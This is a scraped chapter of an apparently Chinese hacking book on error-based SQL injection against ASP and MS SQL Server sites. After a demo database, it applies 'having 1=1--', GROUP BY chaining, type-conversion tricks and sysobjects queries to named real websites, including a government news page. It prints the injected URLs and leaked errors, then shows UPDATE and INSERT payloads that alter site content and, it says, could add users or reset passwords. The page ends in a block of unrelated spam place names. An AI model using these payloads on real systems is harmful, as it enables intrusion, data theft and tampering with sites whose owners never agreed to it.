官术网_书友最值得收藏!

2.6 為MS SQL帶來災(zāi)難的高級查詢

在上面,我們以實例向大家詳細分析介紹了手工與工具注入Access數(shù)據(jù)庫,登錄后管理頁面,上傳后門木馬的完整過程。在上面的例子中注入的是Access數(shù)據(jù)庫,讀者可能會發(fā)現(xiàn)手工猜解用戶名和密碼是非常麻煩的,使用“WED+WIS”或“NBSI”之類的自動注入工具,才是比較明智的選擇。

其實對于Access來說,由于其SQL查詢功能非常弱,因此只能用猜解辦法;但是對于SQL Server或MySQL之類的數(shù)據(jù)庫來說,攻擊者完全可以利用一些特別的SQL查詢語句報出其表名與字段名,并完成強大的系統(tǒng)控制功能。

在本節(jié)中,將詳細介紹ASP+SQL Server環(huán)境下的SQL注入攻擊。讀者在學(xué)習(xí)時,注意與Access數(shù)據(jù)庫注入攻擊之間的不同之處。

MS SQL的功能遠比Access數(shù)據(jù)庫強大得多,它支持多句執(zhí)行、聯(lián)合查詢,以及各種高級查詢功能。但是,正由于MS SQL的強大功能,給MS SQL服務(wù)器的安全帶來了極大的威脅。一旦攻擊者有機會利用SQL注入攻擊MS SQL數(shù)據(jù)庫,那么攻擊者可以很輕易地就獲取MS SQL數(shù)據(jù)庫中的所有記錄內(nèi)容,進而控制數(shù)據(jù)庫服務(wù)器。

在本節(jié)中,我們將詳細分析MS SQL的一些高級查詢功能,以及由此帶來的SQL注入攻擊的原理和方法。

2.6.1 建立MS SQL數(shù)據(jù)庫進行攻擊演示

在進行MS SQL數(shù)據(jù)庫注入攻擊前,需要搭建一個目標(biāo)數(shù)據(jù)庫,作為攻擊原理分析及演示。

在前面我們已經(jīng)介紹了如何安裝MS SQL服務(wù)器,以及啟動SQL服務(wù)器及執(zhí)行SQL查詢的方法。按照前面的方法,啟動MS SQL服務(wù)器,打開SQL查詢分析器,在中間的SQL語句窗口中輸入如下語句:

            CREATE DATABASE 成績
            use 成績

執(zhí)行語句后,即可建立一個名為“成績”的數(shù)據(jù)庫,并將選擇當(dāng)前數(shù)據(jù)庫為新建的“成績”(圖109)。

圖109 新建MS SQL數(shù)據(jù)庫

單擊上方工具欄下拉列表按鈕,在其中可以選擇剛才新建的“成績”數(shù)據(jù)庫為操作對象(圖110)。再執(zhí)行如下語句,即可建立兩個數(shù)據(jù)表:“1班成績”和“2班成績”:

圖110 新建數(shù)據(jù)表及字段

            CREATE TABLE [1班成績] (
            [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL ,
            [成績] [numeric](18, 0) NULL,
            [性別] [NVARCHAR](1)
            ) ON [PRIMARY]
            CREATE TABLE [2班成績] (
            [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL,
            [成績] [numeric](18, 0) NULL,
                [性別] [NVARCHAR](1)
            ) ON [PRIMARY]

在新建的“1班成績”和“2班成績”表中,有3個字段“姓名”、“成績”和“性別”。單擊工具欄“對象瀏覽器”按鈕,可查看到新建的數(shù)據(jù)庫及表、字段名(圖111)。

圖111 建立數(shù)據(jù)表成功

現(xiàn)在要為字段添加數(shù)據(jù),執(zhí)行如下語句(圖112):

            INSERT INTO [1班成績]
            VALUES(’冰河洗劍’, 98, ’男’)
            INSERT INTO [1班成績]
            VALUES(’會飛的魚’, 99, ’女’)
            INSERT INTO [1班成績]
            VALUES(’朱澤明’, 94, ’男’)
            INSERT INTO [1班成績]
            VALUES(’盧麗婭’, 97, ’女’)

圖112 添加數(shù)據(jù)記錄

即可為“1班成績”表添加4條數(shù)據(jù)記錄。執(zhí)行如下語句:

            INSERT INTO [2班成績]
            VALUES(’肖遙’, 98, ’男’)
            INSERT INTO [2班成績]
            VALUES(’張黎’, 99, ’女’)
            INSERT INTO [2班成績]
            VALUES(’夏雨’, 94, ’男’)
            INSERT INTO [2班成績]
            VALUES(’簡單’, 97, ’女’)

可為“2班成績”表添加4條數(shù)據(jù)記錄。如何才能查看到新建數(shù)據(jù)庫及表中的數(shù)據(jù)呢?執(zhí)行如下語句:

            select * from [1班成績] union select * from [2班成績]

即可查看顯示所有數(shù)據(jù)信息了(圖113)。

圖113 查看新建的數(shù)據(jù)庫所有記錄信息

2.6.2 有趣的MS SQL出錯信息

用于演示的數(shù)據(jù)庫及表建立成功了,現(xiàn)在我們在查詢窗口中執(zhí)行如下一條SQL語句:

            select * from [1班成績]

圖114 正常查詢返回信息

可以看到顯示了數(shù)據(jù)表“1班成績”中的所有記錄,SQL語句是正常執(zhí)行并返回信息的(圖115)。現(xiàn)在,我們在SQL語句后面加上“having 1=1—”,執(zhí)行查詢語句:

            select * from [1班成績] having 1=1--

由于SQL查詢語句有問題,不符合正確的SQL語句規(guī)范,因此返回了錯誤信息為:

            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。
            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。
            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。

圖115 返回的查詢錯誤信息

可以看到查詢錯誤很詳細,將錯誤的原因也反饋給用戶了。細心的讀者將會發(fā)現(xiàn),在返回的信息中顯示有“列 ’1班成績.姓名’”、“列 ’1班成績.性別’”和“列'1班成績.成績’”。這正是當(dāng)前用戶表及表中的字段名信息。

也就是說,普通用戶通過MS SQL返回的錯誤信息,從中可以獲知數(shù)據(jù)庫的一些信息。同樣,攻擊者可以精心構(gòu)造“特殊”的SQL查詢語句,讓MS SQL返回錯誤信息,從而非法獲取數(shù)據(jù)庫中的關(guān)鍵數(shù)據(jù)記錄信息。這就是針對MS SQL數(shù)據(jù)庫的注入攻擊原理。

2.6.3 SQL高級查詢之Group By和Having

在上面的SQL查詢語句中,添加了一個“having 1=1--”的查詢條件,為什么這個查詢條件會執(zhí)行出錯,并返回字段名信息呢?從返回的錯誤信息中還可以看到,Having與一個“GROUP BY子句”有關(guān),兩者之間有什么聯(lián)系呢?

下面就詳細講解一下利用Group By和Having進行MS SQL注入攻擊的原理。

1.SQL查詢中的聚合函數(shù)

在介紹Group By和Having子句前,我們先介紹一下SQL語言中一類特殊的函數(shù):“聚合函數(shù)”,如SUM、COUNT、MAX、AVG等。“聚合函數(shù)”與其他普通函數(shù)的區(qū)別在于,此類函數(shù)作用于多條記錄上,進行統(tǒng)計或選擇最大、最小值,以及平均計算等。

例如,下面的語句執(zhí)行結(jié)果就是查詢只返回一個結(jié)果,即所有學(xué)生的總成績分?jǐn)?shù):

            SELECT SUM(成績) FROM [1班成績]

這里的SUM作用在所有返回記錄的“成績”字段上,查詢返回的結(jié)果就是表中所有“成績”記錄的總成績之和(圖116)。

圖116 統(tǒng)計總成績

通過使用Group By子句,可以讓SUM和COUNT等聚合函數(shù)對屬于一組的數(shù)據(jù)起作用。當(dāng)指定“GROUP BY性別”時,屬于同一“性別”的一組數(shù)據(jù)將只能返回一行值。也就是說,表中所有除“性別”外的字段,只能通過SUM、COUNT等聚合函數(shù)運算后返回一個值。

首先,我們來顯示男生和女生的總分?jǐn)?shù)(圖117):

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別

圖117 統(tǒng)計男生和女生的總分?jǐn)?shù)

從返回的信息中,可以看到顯示了兩條數(shù)據(jù)記錄,分別是男生與女生的成績之和。這條SQL語句,先以“性別”把返回記錄分成了兩個組,這就是Group By所起的作用。在分完組后,然后用聚合函數(shù)SUM,對每組中的不同字段的一或多條記錄進行運算。

Having子句可以讓我們篩選成組后的各組數(shù)據(jù),Where子句在聚合前先篩選記錄.也就是說作用在Group By子句和Having子句前,而Having子句在聚合后對組記錄進行篩選。

例如,要查詢男生和女生的總分?jǐn)?shù),并僅顯示總分?jǐn)?shù)超過195的記錄(圖118)。先執(zhí)行如下SQL查詢語句:

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別
            where SUM(成績)>195

上面的查詢語句為什么會出錯呢?這是因為表中不存在著“SUM(成績)”這樣一條記錄,因此不能使用Where來篩選總分?jǐn)?shù)超過195的記錄。再嘗試執(zhí)行如下SQL查詢語句(圖119):

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別
            HAVING SUM(成績)>195

圖118 使用where查詢出錯

圖119 Having篩選聚合成組的數(shù)據(jù)

可看到語句正常執(zhí)行,返回結(jié)果是顯示女生總分?jǐn)?shù)超過了195。從上面的例子可見,只有Having子句,才可以篩選聚合成組后的各組數(shù)據(jù)。

2.Group By查詢

現(xiàn)在,我們來看看去掉“Group By”語句后的結(jié)果,執(zhí)行如下SQL查詢語句:

            SELECT * FROM [1班成績]
            HAVING SUM(成績)>195

依照上面的原則,這條SQL語句執(zhí)行錯誤了,返回信息如下:

            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。
            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。
            服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1
            列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有
             GROUP BY 子句。

可看到,再次返回了當(dāng)前數(shù)據(jù)庫中的所有表名及列名(圖120)。也就是說, Having子句之前,必須有“Group By”語句進行數(shù)據(jù)聚合,否則SQL語句是無法正常執(zhí)行的。因此,在上一節(jié)的示例中,我們提交“having 1=1”時,由于缺少了“Group By”語句,因此也同樣返回了錯誤信息,從而獲得了數(shù)據(jù)庫表名及列名。

圖120 缺少“Group By”返回錯誤信息

在“Having”之后必須是一個查詢條件,否則語句會出錯,只返回語法錯誤信息(圖121),而不會返回執(zhí)行錯誤信息,因此無法得到數(shù)據(jù)庫表名及列名信息。查詢條件可以為任意真或假的條件,如“1=1”、“2>1”等均可。

圖121 Having后接任意查詢條件

2.6.4 報出MS SQL表名和字段名的實例

通過上面對Group By和Having查詢的講解,報出MS SQL數(shù)據(jù)庫表及字段名的原理已經(jīng)很清楚了。下面來看一個實例,了解一下攻擊者是如何利用上面的原理進行入侵攻擊的。

這里選擇了一個小地區(qū)網(wǎng)站的新聞鏈接:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1

利用單引號法進行檢測,返回錯誤信息為(圖122):

            Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14'
            [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ’order by
            news_date desc’ 之前有未閉合的引號。
            /news/NewsJyg.asp,行 51

從返回信息可知此處存在著注入漏洞,且網(wǎng)站使用的是MS SQL數(shù)據(jù)庫。使用上面的方法,在SQL Server注入點處加上“having 1=1--”,提交如下地址:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 having 1=1--

圖122 檢測到SQL注入點

得到返回信息:

            Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14'
            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.
            news_id’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GR
            OUP BY 子句。
            /news/NewsJyg.asp,行 51

從返回信息中的“y_News.news_id”,可知當(dāng)前使用的數(shù)據(jù)表名為“y_news”,有一個字段名為“news_id”(圖123)。

圖123 having查詢返回的信息

在真實的注入攻擊過程中,并不像在SQL查詢分析器中可以直接得到所有表名和字段名,只能得到一個字段名后,繼續(xù)猜解其他字段名。要猜解下一個字段名,就需要結(jié)合“Group By”語句進行查詢了,可構(gòu)造查詢語句為“group by news_id having 1=1--”,提交鏈接為:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group
            by news_id having 1=1--

得到返回的錯誤信息為(圖124):

            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
            _type’ 在選擇列表中無效,因為該列既不包含在聚合函數(shù)中,也不包含在 GROUP
            BY 子句中。

圖124 報出第二個字段名

從返回信息,可得到另一個字段名“news_type”。繼續(xù)猜解當(dāng)前表中的下一個字段名,構(gòu)造查詢語句為“group by news_id, news_type having 1=1--”,提交如下鏈接地址:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1  group
            by news_id, news_type having 1=1--

返回信息為(圖125):

            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
            _title’ 在選擇列表中無效,因為該列既不包含在聚合函數(shù)中,也不包含在 GROUP
             BY 子句中。

圖125 報出第三個字段名

則可再得到一個字段名“news_title”。用同樣的方法提交報出其他的數(shù)據(jù)字段名,構(gòu)造的查詢語句格式為:

            group by 第N個表名,……第3個字段名,第2個字段名,第1個字段名  having
            1=1--

一直提交到頁面不再返回錯誤信息,就可以得到所有的字段名了,這里猜解出來的字段名有6個,分別是news_id、news_type、news_title、news_content、news_date和news_depart。

2.6.5 數(shù)據(jù)記錄也“報”錯

一旦攻擊者報出了數(shù)據(jù)庫的表名和字段名,就可以讀取數(shù)據(jù)庫中的任意數(shù)據(jù)記錄。同樣,攻擊者還是會利用數(shù)據(jù)庫的返回信息來獲取所需要的數(shù)據(jù)。

在前面的SQL查詢分析器中,執(zhí)行如下語句:

            Select Top 1 成績 FROM [1班成績] where 成績=95

語句執(zhí)行后,可看到查詢結(jié)果為空,因為數(shù)據(jù)庫中不存在“成績=95”的記錄(圖126)。再執(zhí)行如下SQL查詢語句:

            Select Top 1 成績 FROM [1班成績]
            where 成績=95
            and (select top 1 姓名 from [1班成績])>1

圖126 查詢結(jié)果為空

語句的執(zhí)行結(jié)果是出錯,并返回了如下信息:

            服務(wù)器: 消息 245,級別 16,狀態(tài) 1,行 1
            將 varchar 值 ’冰河洗劍 ’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

從返回的錯誤信息中,可看到“冰河洗劍”這個敏感的數(shù)據(jù),這就是“1班成績”表中“姓名”字段的第一條數(shù)據(jù)記錄(圖127)。

圖127 報出數(shù)據(jù)記錄

為什么在執(zhí)行上面的SQL語句時會出錯呢?這是因為在上面的SQL語句中有一個查詢條件:

            where 成績=95 and (select top 1 姓名 from [1班成績])>1

其中的“(select top 1姓名from [1班成績])>1”是一個錯誤的比較條件。“(select top 1姓名from [1班成績])”返回的是“1班成績”表中“姓名”字段的第一條數(shù)據(jù)記錄,該記錄的值為“冰河洗劍”(圖128)。

圖128 查詢條件返回的是字符數(shù)據(jù)

由于該記錄的數(shù)據(jù)類型為字符(varchar),而比較條件“1”的數(shù)據(jù)類型為int整數(shù)型,因此在進行“’冰河洗劍’>1”比較時,會將“冰河洗劍”進行類型轉(zhuǎn)換。在將字符轉(zhuǎn)換為整數(shù)時,當(dāng)然是會出錯的,而MS SQL完善的錯誤信息,也將字符數(shù)據(jù)的內(nèi)容報給了攻擊者,因此攻擊者可以輕易地獲得指定的數(shù)據(jù)記錄內(nèi)容。

2.6.6 繼續(xù)前面的“入侵”

在前面的報出MS SQL表名和字段名的實例中,攻擊者將會繼續(xù)下面的入侵步驟,以獲取數(shù)據(jù)庫中的指定信息。

猜解出的數(shù)據(jù)表名為“y_news”,字段名有6個:news_id、news_type、news_title、news_content、news_date和news_depart。這里假設(shè)攻擊者要獲取“news_title”字段中的第2條記錄,攻擊者將會執(zhí)行如下的語句:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 and
            (select top 1 news_title from y_news )>1

例如,我們要讀取“skill”表中“title”列中的第N個數(shù)據(jù),可提交語句:

            and (Select Top 1 字段 FROM 表 where id=N)>1

其中[N]代表列中的第N條數(shù)據(jù)。將N改為1的話,則會返回錯誤信息:

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07'
            [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’
            給賣房人的忠告——出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全 ’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int
            的列時發(fā)生語法錯誤。
            /skill/skill_id.asp,行38

這就說明“Skill”表中“title”列的第一個值為“給賣房人的忠告--出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全”。由于這是一個文章系統(tǒng),因此其在網(wǎng)頁中代表的真實含義為:ID為1的文章其標(biāo)題為“給賣房人的忠告--出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全”。

上面的例子中讀取的只是一篇文章的標(biāo)題,在實際的應(yīng)用中,可以讀取包含用戶名和密碼的表中的數(shù)據(jù),就可以獲得任意用戶名的密碼了,這種方法比使用ASCII碼一個個地猜解快得多了。

修改數(shù)據(jù)庫,插入數(shù)據(jù)

當(dāng)成功地獲得了表名、字段名,就可以在數(shù)據(jù)庫里修改甚至插入新的數(shù)據(jù),如要更改“skill”表中的第一個數(shù)據(jù),可以提交如下命令:

            “ ; update skill set title=’我不是黑客,哈哈!' WHERE id='1' ”

命令運行后正常顯示,在IE地址欄中輸入鏈接“http://www.xinzun.com. cn/skill/skill_id.asp? id=1”,可以看到ID為1的文章其標(biāo)題已經(jīng)變成了更改的內(nèi)容:“我不是黑客,哈哈!”(圖129)

如果要在數(shù)據(jù)庫中插入一條新的數(shù)據(jù),可提交如下語句:

            “ ; insert into skill values ('1000' , ’網(wǎng)站存在安全漏洞’, ’請注意安
            全’, '2004' )--

打開鏈接“http://www.xinzun.com.cn/skill/skill_id.asp? id=1”時,可以看到新添加的文章。

如果是在用戶名表中插入一個新的數(shù)據(jù)的話,那么也就是說我們在網(wǎng)站中添加了一個新的用戶。同樣,用上面的方法可以任意更改某個用戶名的密碼。

圖129

2.6.7 報出任意表名和字段名

上面的方法只能報出數(shù)據(jù)庫中的當(dāng)前表,同時如果某個表中包含的字段名非常多時,用上面的方法就非常困難了。攻擊者有可能使用更加高效的檢測方法,可以報出數(shù)據(jù)庫中任意表名和字段名。

在上面的注入點后提交如下語句:

            and (Select top 1 name from(Select top [N] id, name from sysobjects
             where xtype=char(85)) T order by id desc)>1

其中“[N]”表示數(shù)據(jù)庫中的第N個表,當(dāng)將其改為12時,返回信息為:

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07'
            將 nvarchar 值 ’sill’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
            /skill/skill_id.asp,行13

就可報出數(shù)據(jù)庫中的第4個表名,說明第4個表名為“skill”。

要獲得某個表中任意字段名,可以提交如下語句:

            and (Select Top 1 col_name(object_id([T]), [N]) from sysobject
            s)>1

其中[T]為表名,[N]表示第N個字段名,當(dāng)將語句改為:

            and (Select Top 1 col_name(object_id(' skill' ),2) from sysobject
            s)>1

返回信息為:

            "……將 nvarchar 值 ’title’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯
            誤。……”

這表明第4個表中的第二個字段名為“title”。

主站蜘蛛池模板: 二手房| 淮阳县| 香格里拉县| 台北市| 宿迁市| 仁怀市| 图木舒克市| 盐边县| 岳池县| 石嘴山市| 远安县| 察隅县| 雷波县| 临潭县| 依安县| 拜泉县| 黄陵县| 彝良县| 资阳市| 兴安盟| 安泽县| 且末县| 康保县| 棋牌| 秦安县| 凤冈县| 河津市| 盐边县| 固安县| 大渡口区| 土默特左旗| 酒泉市| 万载县| 哈巴河县| 馆陶县| 江永县| 霍城县| 万年县| 从江县| 台南县| 昭苏县|